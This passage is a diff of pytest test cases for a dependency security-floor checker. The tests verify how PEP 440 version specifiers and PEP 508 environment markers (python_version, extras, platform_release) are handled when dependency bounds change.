+ previous, current = "danger==1.0.0.*", "danger>=1.0.0.4,<1.0.1"
+ before, after = ["1.0.0.3"], ["1.0.0.4"]
+ elif variant == "canonical-zeroes":
+ previous, current = "danger==01.00.*", "danger>=1.0.3,<1.1"
+ before, after = ["1.0.2"], ["1.0.3"]
+ elif variant == "epoch-zeroes":
+ previous, current = "danger==01!01.00.*", "danger>=1!1.0.3,<1!1.1"
+ before, after = ["1!1.0.2"], ["1!1.0.3"]
+ elif variant in {"epoch", "wrong-epoch"}:
+ previous = "danger==1!1.*"
+ current = "danger>=1!1.3,<1!2" if variant == "epoch" else "danger>=0!1.3,<0!2"
+ before = ["1!1.2"]
+ after = ["1!1.3"] if variant == "epoch" else ["1.3"]
+ elif variant == "malformed-post":
+ previous = "danger==1.post1.*"
+ before, after = ["1.post1"], ["1.3"]
+ elif variant == "retained-release":
+ current = "danger>=1.3,<1.5"
+ before, after = ["1.2", "1.8"], ["1.3", "1.8"]
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [current],
+ base_packages=[("danger", version) for version in before],
+ head_packages=[("danger", version) for version in after],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[current] if protected else None,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("full-substring", True, id="full-python-membership-covers-partial-final-digits"),
+ pytest.param("full-token", True, id="full-python-membership-keeps-complete-token"),
+ pytest.param("full-outside", False, id="full-python-membership-rejects-values-outside-literal"),
+ pytest.param("full-negative-substring", False, id="full-python-negative-membership-rejects-real-substring"),
+ pytest.param("full-negative-outside", True, id="full-python-negative-membership-keeps-outside-release"),
+ pytest.param("minor-substring", True, id="python-minor-membership-covers-partial-minor-digits"),
+ pytest.param(
+ "minor-containing-full-version", True, id="python-minor-membership-allows-containing-full-version"
+ ),
+ pytest.param(
+ "minor-containing-full-versions", True, id="python-minor-membership-allows-containing-full-version-list"
+ ),
+ pytest.param("minor-overlapping-prefix", True, id="python-minor-membership-allows-overlapping-prefix"),
+ pytest.param("minor-overlapping-short", True, id="python-minor-membership-preserves-short-overlapping-prefix"),
+ pytest.param(
+ "minor-overlapping-negative", False, id="negative-python-minor-membership-excludes-overlapping-prefix"
+ ),
+ pytest.param(
+ "minor-overlapping-negative-outside", True, id="negative-python-minor-membership-keeps-outside-release"
+ ),
+ pytest.param("full-overlapping-prefix", True, id="full-python-membership-allows-overlapping-prefix"),
+ pytest.param("full-overlapping-short", True, id="full-python-membership-preserves-short-overlapping-prefix"),
+ pytest.param(
+ "full-overlapping-prerelease", True, id="full-python-membership-allows-overlapping-prerelease-serials"
+ ),
+ pytest.param("minor-negative-substring", False, id="python-minor-negative-membership-excludes-partial-minor"),
+ pytest.param("minor-dropped-substrings", False, id="python-minor-equalities-cannot-drop-hidden-three-one"),
+ pytest.param(
+ "minor-overlapping-dropped-substrings", False, id="overlapping-python-membership-cannot-drop-short-prefix"
+ ),
+ pytest.param("resolution-projection", True, id="full-python-membership-resolution-projects-into-minor"),
+ pytest.param("complete-partition", True, id="python-membership-and-complement-cover-entire-domain"),
+ pytest.param("missing-partition", False, id="missing-python-membership-complement-cannot-drop-domain"),
+ pytest.param("dropped-substrings", False, id="python-token-equalities-cannot-drop-original-substrings"),
+ pytest.param("unbounded-substrings", False, id="unbounded-python-membership-substrings-fail-closed"),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_python_membership_markers_preserve_exact_pep508_substrings(
+ tmp_path: Path, variant: str, accepted: bool, protected: bool
+) -> None:
+ expression = "python_full_version in '3.10.10, 3.10.11'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ old_domains = ["python_full_version == '3.10.1'"]
+ new_domains = list(old_domains)
+
+ if variant == "full-token":
+ old_domains = new_domains = ["python_full_version == '3.10.10'"]
+ elif variant == "full-outside":
+ old_domains = new_domains = ["python_full_version == '3.10.12'"]
+ elif variant in {"full-negative-substring", "full-negative-outside"}:
+ expression = "python_full_version not in '3.10.10, 3.10.11'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ if variant == "full-negative-outside":
+ old_domains = new_domains = ["python_full_version == '3.10.12'"]
+ elif variant in {"minor-substring", "minor-negative-substring"}:
+ operator = "not in" if variant == "minor-negative-substring" else "in"
+ expression = "python_version " + operator + " '3.10, 3.11'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ old_domains = new_domains = ["python_full_version == '3.1.7'"]
+ elif variant in {"minor-containing-full-version", "minor-containing-full-versions"}:
+ versions = "3.10.1" if variant == "minor-containing-full-version" else "3.10.1, 3.11.2"
+ release = "3.10.7" if variant == "minor-containing-full-version" else "3.11.7"
+ expression = "python_version in '" + versions + "'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ old_domains = new_domains = ["python_full_version == '" + release + "'"]
+ elif variant in {
+ "minor-overlapping-prefix",
+ "minor-overlapping-short",
+ "minor-overlapping-negative",
+ "minor-overlapping-negative-outside",
+ }:
+ negative = variant in {"minor-overlapping-negative", "minor-overlapping-negative-outside"}
+ operator = "not in" if negative else "in"
+ expression = "python_version " + operator + " '3.1, 3.10'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ if variant == "minor-overlapping-short":
+ release = "3.1.7"
+ elif variant == "minor-overlapping-negative-outside":
+ release = "3.11.7"
+ else:
+ release = "3.10.7"
+ old_domains = new_domains = ["python_full_version == '" + release + "'"]
+ elif variant in {"full-overlapping-prefix", "full-overlapping-short", "full-overlapping-prerelease"}:
+ versions = "3.15.0a1, 3.15.0a10" if variant == "full-overlapping-prerelease" else "3.10.1, 3.10.10"
+ if variant == "full-overlapping-short":
+ release = "3.10.1"
+ elif variant == "full-overlapping-prerelease":
+ release = "3.15.0a10"
+ else:
+ release = "3.10.10"
+ expression = "python_full_version in '" + versions + "'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ old_domains = new_domains = ["python_full_version == '" + release + "'"]
+ elif variant == "minor-dropped-substrings":
+ expression = "python_version in '3.10, 3.11'"
+ original = "danger>=1; " + expression
+ updated = [
+ "danger>=2; python_version == '3.10'",
+ "danger>=2; python_version == '3.11'",
+ ]
+ old_domains = [expression]
+ new_domains = ["python_version == '3.10'", "python_version == '3.11'"]
+ elif variant == "minor-overlapping-dropped-substrings":
+ expression = "python_version in '3.1, 3.10'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; python_version == '3.10'"]
+ old_domains = [expression]
+ new_domains = ["python_version == '3.10'"]
+ elif variant == "resolution-projection":
+ expression = "python_version == '3.10'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ old_domains = new_domains = ["python_full_version in '3.10.10, 3.10.11'"]
+ elif variant in {"complete-partition", "missing-partition"}:
+ included = expression + " and python_full_version in '3.10.11'"
+ excluded = expression + " and python_full_version not in '3.10.11'"
+ updated = ["danger>=2; " + excluded]
+ old_domains = new_domains = [
+ "python_full_version == '3.10.1'",
+ "python_full_version == '3.10.10'",
+ "python_full_version == '3.10.11'",
+ ]
+ if variant == "complete-partition":
+ updated.append("danger>=2; " + included)
+ elif variant == "dropped-substrings":
+ updated = [
+ "danger>=2; python_full_version == '3.10.10'",
+ "danger>=2; python_full_version == '3.10.11'",
+ ]
+ old_domains = [expression]
+ new_domains = ["python_full_version == '3.10.10'", "python_full_version == '3.10.11'"]
+ elif variant == "unbounded-substrings":
+ members = ", ".join("3.10." + str(1000 + index) for index in range(16))
+ expression = "python_full_version in '" + members + "'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ old_domains = new_domains = ["python_full_version == '3.10.1000'"]
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [original],
+ head_requirements=[] if protected else updated,
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[original] if protected else None,
+ head_constraints=updated if protected else None,
+ base_resolution_markers={("danger", "1"): old_domains},
+ head_resolution_markers={("danger", "2"): new_domains},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requirement_marker", "resolution_marker", "accepted"),
+ [
+ pytest.param("'3.10' == python_version", "python_full_version == '3.10.4'", True, id="reversed-equality"),
+ pytest.param("'3.10' != python_version", "python_full_version == '3.11.4'", True, id="reversed-inequality"),
+ pytest.param("'3.10' != python_version", "python_full_version == '3.10.4'", False, id="reversed-excluded"),
+ pytest.param("'3.10' < python_version", "python_full_version == '3.11.0'", True, id="reversed-exclusive-lower"),
+ pytest.param("'3.10' < python_version", "python_full_version == '3.10.4'", False, id="reversed-lower-equal"),
+ pytest.param(
+ "'3.10' <= python_version", "python_full_version == '3.10.4'", True, id="reversed-inclusive-lower"
+ ),
+ pytest.param("'3.10' <= python_version", "python_full_version == '3.9.4'", False, id="reversed-lower-outside"),
+ pytest.param("'3.10' > python_version", "python_full_version == '3.9.4'", True, id="reversed-exclusive-upper"),
+ pytest.param("'3.10' > python_version", "python_full_version == '3.10.4'", False, id="reversed-upper-equal"),
+ pytest.param(
+ "'3.10' >= python_version", "python_full_version == '3.10.4'", True, id="reversed-inclusive-upper"
+ ),
+ pytest.param("'3.10' >= python_version", "python_full_version == '3.11.4'", False, id="reversed-upper-outside"),
+ pytest.param("'3.1' == python_version", "python_full_version == '3.1.7'", True, id="reversed-minor-projection"),
+ pytest.param("'3.10.1' <= python_full_version", "python_full_version == '3.10.1'", True, id="reversed-full"),
+ pytest.param("'linux' <= sys_platform", "sys_platform == 'win32'", False, id="reversed-platform-unequal"),
+ pytest.param("'linux' <= sys_platform", "sys_platform == 'darwin'", False, id="reversed-platform-outside"),
+ pytest.param(
+ "python_version >= '3.10'",
+ "'3.10.4' <= python_full_version",
+ True,
+ id="reversed-resolution-comparison",
+ ),
+ pytest.param(
+ "sys_platform >= 'linux'",
+ "'linux' <= sys_platform",
+ True,
+ id="reversed-platform-resolution",
+ ),
+ pytest.param("'3.10' in python_version", "python_full_version == '3.10.4'", False, id="reversed-in-rejected"),
+ pytest.param(
+ "'3.10' not in python_version",
+ "python_full_version == '3.11.4'",
+ False,
+ id="reversed-not-in-rejected",
+ ),
+ pytest.param(
+ "'3.10' <= python_version <= '3.11'",
+ "python_full_version == '3.10.4'",
+ False,
+ id="reversed-chained-comparison-rejected",
+ ),
+ pytest.param(
+ "3.10 <= python_version", "python_full_version == '3.10.4'", False, id="nonstring-literal-rejected"
+ ),
+ pytest.param(
+ "python_full_version <= python_version",
+ "python_full_version == '3.10.4'",
+ False,
+ id="two-marker-variables-rejected",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_reversed_literal_marker_comparisons_preserve_semantic_security_domains(
+ tmp_path: Path, requirement_marker: str, resolution_marker: str, accepted: bool, protected: bool
+) -> None:
+ previous = "danger>=1; " + requirement_marker
+ updated = "danger>=2; " + requirement_marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution_marker]},
+ head_resolution_markers={("danger", "2"): [resolution_marker]},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requested", "marker", "reviewed", "accepted"),
+ [
+ pytest.param("foo", "extra in 'foobar'", False, False, id="substring-extra-cannot-hide-unreviewed-package"),
+ pytest.param("foo", "extra in 'foobar'", True, True, id="substring-extra-can-use-reviewed-package"),
+ pytest.param(
+ "foo", "extra not in 'foobar'", False, True, id="negative-substring-extra-does-not-expose-package"
+ ),
+ pytest.param(
+ "foo-bar", "extra in 'FOO_BAR-baz'", False, False, id="extra-substring-normalizes-both-pep508-operands"
+ ),
+ pytest.param(
+ "foo-bar", "'FOO_BAR' in extra", False, False, id="reversed-extra-containment-normalizes-the-needle"
+ ),
+ pytest.param("foo-bar", "'foo' in extra", False, False, id="reversed-extra-containment-keeps-direction"),
+ pytest.param("foo", "'foobar' in extra", False, True, id="reversed-extra-longer-needle-cannot-match"),
+ pytest.param("foo", "'foo' not in extra", False, True, id="reversed-extra-negative-excludes-a-real-needle"),
+ pytest.param("bar", "'foo' not in extra", False, False, id="reversed-extra-negative-keeps-an-outside-needle"),
+ ],
+)
+def test_locked_extra_membership_uses_pep508_substring_containment(
+ tmp_path: Path, requested: str, marker: str, reviewed: bool, accepted: bool
+) -> None:
+ optional: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {
+ ("parent", "1"): {requested: [{"name": "plugin", "marker": marker}]}
+ }
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1", "parent"],
+ head_requirements=["patch-me>=1.1", "parent", "parent[" + requested + "]"],
+ base_packages=[("patch-me", "1"), ("parent", "1")],
+ head_packages=[("patch-me", "1.1"), ("parent", "1"), ("plugin", "1")],
+ head_constraints=["plugin>=1"] if reviewed else None,
+ base_lock_optional_dependencies=optional,
+ head_lock_optional_dependencies=optional,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requested", "marker"),
+ [
+ pytest.param("new-extra", "extra >= 'new-extra'", id="inclusive-lower-order-matches-selected-extra"),
+ pytest.param("new-extra", "extra <= 'new-extra'", id="inclusive-upper-order-matches-selected-extra"),
+ pytest.param("new-extra", "extra > 'new-extra'", id="strict-lower-order-does-not-match-selected-extra"),
+ pytest.param("new-extra", "extra < 'new-extra'", id="strict-upper-order-does-not-match-selected-extra"),
+ pytest.param("new-extra", "extra >= 'other-extra'", id="inclusive-lower-order-rejects-different-extra"),
+ pytest.param("new-extra", "extra <= 'other-extra'", id="inclusive-upper-order-rejects-different-extra"),
+ pytest.param("new-extra", "extra > 'aaa'", id="strict-lower-order-does-not-fall-back-to-lexical-order"),
+ pytest.param("new-extra", "extra < 'zzz'", id="strict-upper-order-does-not-fall-back-to-lexical-order"),
+ pytest.param("new-extra", "extra >= 'NEW_EXTRA'", id="inclusive-order-normalizes-pep508-extra-alias"),
+ pytest.param("new-extra", "'NEW_EXTRA' <= extra", id="reversed-inclusive-order-normalizes-extra-alias"),
+ pytest.param("new-extra", "'new-extra' >= extra", id="reversed-inclusive-upper-order-matches-equality"),
+ pytest.param("new-extra", "'new-extra' < extra", id="reversed-strict-order-remains-unsatisfied"),
+ pytest.param(
+ "new-extra",
+ "extra >= 'new-extra' and extra <= 'NEW_EXTRA'",
+ id="inclusive-extra-conjunction-shares-one-normalized-witness",
+ ),
+ pytest.param(
+ "new-extra",
+ "extra >= 'new-extra' and extra < 'new-extra'",
+ id="strict-and-inclusive-extra-conjunction-remains-unsatisfied",
+ ),
+ pytest.param(
+ "new-extra",
+ "extra > 'new-extra' or extra <= 'NEW_EXTRA'",
+ id="inclusive-extra-disjunction-retains-its-active-alternative",
+ ),
+ ],
+)
+@pytest.mark.parametrize("reviewed", [False, True], ids=["unreviewed-package", "reviewed-package"])
+def test_selected_extra_ordered_markers_match_packaging_without_hiding_dependencies(
+ tmp_path: Path, requested: str, marker: str, reviewed: bool
+) -> None:
+ active = Marker(marker).evaluate(environment={"extra": requested})
+ optional: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {
+ ("parent", "1"): {requested: [{"name": "plugin", "marker": marker}]}
+ }
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1", "parent"],
+ head_requirements=["patch-me>=1.1", "parent", "parent[" + requested + "]"],
+ base_packages=[("patch-me", "1"), ("parent", "1")],
+ head_packages=[("patch-me", "1.1"), ("parent", "1"), ("plugin", "1")],
+ head_constraints=["plugin>=1"] if reviewed else None,
+ base_lock_optional_dependencies=optional,
+ head_lock_optional_dependencies=optional,
+ )
+ assert result.returncode == (0 if not active or reviewed else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("marker", "reviewed", "accepted"),
+ [
+ pytest.param(
+ "extra != 'foo' and extra != 'bar'",
+ None,
+ True,
+ id="different-selected-extras-cannot-witness-separate-negative-clauses",
+ ),
+ pytest.param(
+ "extra == 'foo' and extra == 'bar'",
+ None,
+ True,
+ id="different-selected-extras-cannot-witness-separate-equality-clauses",
+ ),
+ pytest.param(
+ "extra == 'foo' and extra != 'bar'",
+ None,
+ False,
+ id="one-selected-extra-satisfying-both-clauses-exposes-the-package",
+ ),
+ pytest.param(
+ "extra == 'foo' and extra != 'bar'",
+ ["plugin>=1"],
+ True,
+ id="one-selected-extra-satisfying-both-clauses-can-use-a-reviewed-package",
+ ),
+ pytest.param(
+ "extra in 'foobar' and extra not in 'foobar'",
+ None,
+ True,
+ id="membership-and-its-complement-cannot-use-different-selected-extras",
+ ),
+ pytest.param(
+ "extra in 'foo' and extra not in 'bar'",
+ None,
+ False,
+ id="membership-conjunction-retains-a-single-valid-selected-extra",
+ ),
+ pytest.param(
+ "(extra == 'foo' and sys_platform == 'linux') or (extra == 'bar' and sys_platform == 'win32')",
+ ["plugin>=1; sys_platform == 'linux'"],
+ False,
+ id="distinct-selected-extras-retain-both-platform-security-domains",
+ ),
+ pytest.param(
+ "(extra == 'foo' and sys_platform == 'linux') or (extra == 'bar' and sys_platform == 'win32')",
+ ["plugin>=1; sys_platform == 'linux'", "plugin>=1; sys_platform == 'win32'"],
+ True,
+ id="distinct-selected-extras-can-each-use-their-reviewed-platform-domain",
+ ),
+ pytest.param(
+ "(extra != 'foo' and extra != 'bar') or (extra == 'foo' and sys_platform == 'linux')",
+ ["plugin>=1; sys_platform == 'linux'"],
+ True,
+ id="nested-boolean-marker-discards-cross-extra-witnesses-and-keeps-platform-context",
+ ),
+ ],
+)
+def test_locked_extra_conjunctions_share_one_selected_extra_witness(
+ tmp_path: Path, marker: str, reviewed: list[str] | None, accepted: bool
+) -> None:
+ optional: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {
+ ("parent", "1"): {"foo": [{"name": "plugin", "marker": marker}], "bar": []}
+ }
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1", "parent"],
+ head_requirements=["patch-me>=1.1", "parent", "parent[foo,bar]"],
+ base_packages=[("patch-me", "1"), ("parent", "1")],
+ head_packages=[("patch-me", "1.1"), ("parent", "1"), ("plugin", "1")],
+ head_constraints=reviewed,
+ base_lock_optional_dependencies=optional,
+ head_lock_optional_dependencies=optional,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("marker", "reviewed", "accepted"),
+ [
+ pytest.param("extra == ''", False, False, id="missing-extra-uses-its-empty-selected-value"),
+ pytest.param("extra == ''", True, True, id="matching-empty-extra-can-use-a-reviewed-package"),
+ pytest.param("extra != ''", False, True, id="missing-extra-rejects-a-nonempty-only-edge"),
+ pytest.param("extra in ''", False, False, id="empty-selected-extra-preserves-substring-containment"),
+ pytest.param("extra in 'foobar'", False, False, id="empty-selected-extra-is-a-substring-of-other-values"),
+ pytest.param("extra not in ''", False, True, id="empty-selected-extra-preserves-negative-containment"),
+ ],
+)
+def test_locked_extra_marker_defaults_to_one_empty_selected_extra(
+ tmp_path: Path, marker: str, reviewed: bool, accepted: bool
+) -> None:
+ optional: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {
+ ("parent", "1"): {"feature": [{"name": "nested"}]}
+ }
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1", "parent"],
+ head_requirements=["patch-me>=1.1", "parent", "parent[feature]"],
+ base_packages=[("patch-me", "1"), ("parent", "1"), ("nested", "1")],
+ head_packages=[("patch-me", "1.1"), ("parent", "1"), ("nested", "1"), *([("plugin", "1")] if reviewed else [])],
+ head_constraints=["nested>=1", *(["plugin>=1"] if reviewed else [])],
+ head_lock_dependencies={("nested", "1"): [{"name": "plugin", "marker": marker}]},
+ base_lock_optional_dependencies=optional,
+ head_lock_optional_dependencies=optional,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requirement_marker", "resolution_marker", "accepted"),
+ [
+ pytest.param(
+ "implementation_version >= '3.10'",
+ "implementation_version == '3.11.0'",
+ True,
+ id="implementation-version-uses-pep440-ordering",
+ ),
+ pytest.param(
+ "implementation_version >= '3.10'",
+ "implementation_version == '3.9.9'",
+ False,
+ id="implementation-version-rejects-lower-numeric-release",
+ ),
+ pytest.param(
+ "implementation_version < '3.10'",
+ "implementation_version == '3.9.9'",
+ True,
+ id="implementation-version-does-not-use-lexical-ordering",
+ ),
+ pytest.param(
+ "platform_release == '6.8.0'",
+ "platform_release == '6.8.0'",
+ True,
+ id="platform-release-marker-is-supported",
+ ),
+ pytest.param(
+ "platform_release >= '6.10'",
+ "platform_release == '6.11.0'",
+ True,
+ id="platform-release-uses-pep440-ordering",
+ ),
+ pytest.param(
+ "platform_release < '6.10'",
+ "platform_release == '6.9.0'",
+ True,
+ id="platform-release-does-not-use-lexical-ordering",
+ ),
+ pytest.param(
+ "platform_release >= '6.10'",
+ "platform_release == '6.9.0'",
+ False,
+ id="platform-release-rejects-lower-numeric-release",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.0.1'",
+ "platform_release == '6.8.0.2'",
+ True,
+ id="platform-release-preserves-four-component-numeric-ordering",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.0.2'",
+ "platform_release == '6.8.0.1'",
+ False,
+ id="platform-release-rejects-lower-four-component-release",
+ ),
+ pytest.param(
+ "platform_release < '6.8.0.10'",
+ "platform_release == '6.8.0.2'",
+ True,
+ id="platform-release-orders-fourth-component-numerically",
+ ),
+ pytest.param(
+ "platform_release >= '6.8'",
+ "platform_release == '6.8.0.1'",
+ True,
+ id="platform-release-compares-short-and-long-release-segments",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.0.1'",
+ "platform_release == '6.8'",
+ False,
+ id="platform-release-rejects-shorter-lower-release-segments",
+ ),
+ pytest.param(
+ "platform_release == '6.8.0.1'",
+ "platform_release == '6.8.0.1.0'",
+ True,
+ id="platform-release-normalizes-trailing-zero-components",
+ ),
+ pytest.param(
+ "platform_release > '6.8.0'",
+ "platform_release == '6.8.0.1'",
+ True,
+ id="platform-release-preserves-strict-longer-release-ordering",
+ ),
+ pytest.param(
+ "platform_release == '6.8.0.*'",
+ "platform_release == '6.8.0.2'",
+ True,
+ id="platform-release-wildcard-covers-longer-release-segments",
+ ),
+ pytest.param(
+ "platform_release == '6.8.0.*'",
+ "platform_release == '6.8.1.0'",
+ False,
+ id="platform-release-wildcard-does-not-cover-another-prefix",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.0.1.2'",
+ "platform_release == '6.8.0.1.3'",
+ True,
+ id="platform-release-preserves-five-component-numeric-ordering",
+ ),
+ pytest.param(
+ "platform_release >= '6'",
+ "platform_release == '6.0.0.1'",
+ True,
+ id="platform-release-supports-single-component-numeric-floor",
+ ),
+ pytest.param(
+ "platform_release >= ' 6.8.0.1 '",
+ "platform_release == '6.8.0.2'",
+ True,
+ id="platform-release-normalizes-surrounding-version-whitespace",
+ ),
+ pytest.param(
+ "platform_release >= '06.008.000.001'",
+ "platform_release == '6.8.0.2'",
+ True,
+ id="platform-release-normalizes-component-leading-zeroes",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.1234567890.1'",
+ "platform_release == '6.8.1234567890.2'",
+ False,
+ id="platform-release-rejects-unbounded-numeric-components",
+ ),
+ pytest.param(
+ "platform_release >= '" + ".".join(["6"] * 33) + "'",
+ "platform_release == '" + ".".join(["6"] * 33) + "'",
+ False,
+ id="platform-release-rejects-unbounded-release-component-count",
+ ),
+ pytest.param(
+ "platform_release >= 'v6.8.0.1'",
+ "platform_release == 'v6.8.0.2'",
+ False,
+ id="platform-release-unsupported-v-prefix-fails-closed",
+ ),
+ pytest.param(
+ "platform_release >= '1!6.8.0.1'",
+ "platform_release == '1!6.8.0.2'",
+ False,
+ id="platform-release-unsupported-epoch-fails-closed",
+ ),
+ pytest.param(
+ "platform_release == '6.8.0.1+linux'",
+ "platform_release == '6.8.0.1+linux'",
+ False,
+ id="platform-release-unsupported-local-label-fails-closed",
+ ),
+ pytest.param(
+ "platform_release >= '6.10'",
+ "platform_release == 'build-42'",
+ False,
+ id="platform-release-rejects-mixed-numeric-and-nonversion-domains",
+ ),
+ pytest.param(
+ "platform_release != '6.8.0.1'",
+ "platform_release == 'linux'",
+ False,
+ id="platform-release-rejects-four-component-version-against-nonversion-domain",
+ ),
+ pytest.param(
+ "platform_release != ' 6.8.0.1 '",
+ "platform_release == 'linux'",
+ False,
+ id="platform-release-rejects-whitespace-padded-version-against-nonversion-domain",
+ ),
+ pytest.param(
+ "platform_release != '6'",
+ "platform_release == 'linux'",
+ False,
+ id="platform-release-rejects-single-component-version-against-nonversion-domain",
+ ),
+ pytest.param(
+ "platform_release != '1!6.8.0'",
+ "platform_release == 'linux'",
+ False,
+ id="platform-release-rejects-epoch-version-against-nonversion-domain",
+ ),
+ pytest.param(
+ "platform_release != '6.8.0.1rc1'",
+ "platform_release == 'linux'",
+ False,
+ id="platform-release-rejects-prerelease-version-against-nonversion-domain",
+ ),
+ pytest.param(
+ "platform_release != '6.8.0.1.post1'",
+ "platform_release == 'linux'",
+ False,
+ id="platform-release-rejects-post-release-version-against-nonversion-domain",
+ ),
+ pytest.param(
+ "platform_release != '6.8.0.1.dev1'",
+ "platform_release == 'linux'",
+ False,
+ id="platform-release-rejects-development-version-against-nonversion-domain",
+ ),
+ pytest.param(
+ "platform_release != '6.8.0.1+local'",
+ "platform_release == 'linux'",
+ False,
+ id="platform-release-rejects-local-version-against-nonversion-domain",
+ ),
+ pytest.param(
+ "platform_release != 'v6.8alpha1'",
+ "platform_release == 'linux'",
+ False,
+ id="platform-release-rejects-normalized-version-against-nonversion-domain",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.0a1'",
+ "platform_release == '6.8.0a2'",
+ True,
+ id="platform-release-preserves-numeric-prerelease-ordering",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.0.1a1'",
+ "platform_release == '6.8.0.1a2'",
+ True,
+ id="platform-release-preserves-four-component-prerelease-ordering",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.0.post1'",
+ "platform_release == '6.8.0.post2'",
+ True,
+ id="platform-release-preserves-numeric-post-release-ordering",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.0.1.post1'",
+ "platform_release == '6.8.0.1.post2'",
+ True,
+ id="platform-release-preserves-four-component-post-release-ordering",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.0.dev1'",
+ "platform_release == '6.8.0.dev2'",
+ True,
+ id="platform-release-preserves-numeric-development-ordering",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.0.1.dev1'",
+ "platform_release == '6.8.0.1.dev2'",
+ True,
+ id="platform-release-preserves-four-component-development-ordering",
+ ),
+ pytest.param(
+ "platform_release != 'build-42'",
+ "platform_release == '6.9.0'",
+ True,
+ id="platform-release-string-exclusions-preserve-numeric-domains",
+ ),
+ pytest.param(
+ "platform_release === '6.10.0'",
+ "platform_release == '6.10'",
+ False,
+ id="platform-release-arbitrary-equality-cannot-cover-normalized-domain",
+ ),
+ pytest.param(
+ "platform_version == 'build-42'",
+ "platform_version == 'build-42'",
+ True,
+ id="platform-version-marker-is-supported",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_additional_pep508_marker_variables_preserve_security_domains(
+ tmp_path: Path, requirement_marker: str, resolution_marker: str, accepted: bool, protected: bool
+) -> None:
+ previous = "danger>=1; " + requirement_marker
+ updated = "danger>=2; " + requirement_marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution_marker]},
+ head_resolution_markers={("danger", "2"): [resolution_marker]},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("original", "addition", "accepted"),
+ [
+ pytest.param("sniffio", "sniffio[feature]", True, id="new-unbounded-extra-retains-unbounded-parent"),
+ pytest.param("sniffio", "sniffio[feature]<2", False, id="new-extra-cannot-add-unreviewed-upper-bound"),
+ pytest.param("sniffio", "sniffio[feature]>=1", False, id="new-extra-cannot-add-unreviewed-lower-bound"),
+ pytest.param(
+ "sniffio>=1,<3", "sniffio[feature]>=1,<3", True, id="new-extra-may-repeat-existing-reviewed-bounds"
+ ),
+ pytest.param(
+ "sniffio>=1,<3", "sniffio[feature]>=1,<2", False, id="new-extra-cannot-narrow-existing-reviewed-bounds"
+ ),
+ ],
+)
+def test_new_requested_extras_cannot_narrow_existing_published_bounds(
+ tmp_path: Path, original: str, addition: str, accepted: bool
+) -> None:
+ optional: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {("sniffio", "1.5"): {"feature": []}}
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1", original],
+ head_requirements=["patch-me>=1.1", original, addition],
+ base_packages=[("patch-me", "1"), ("sniffio", "1.5")],
+ head_packages=[("patch-me", "1.1"), ("sniffio", "1.5")],
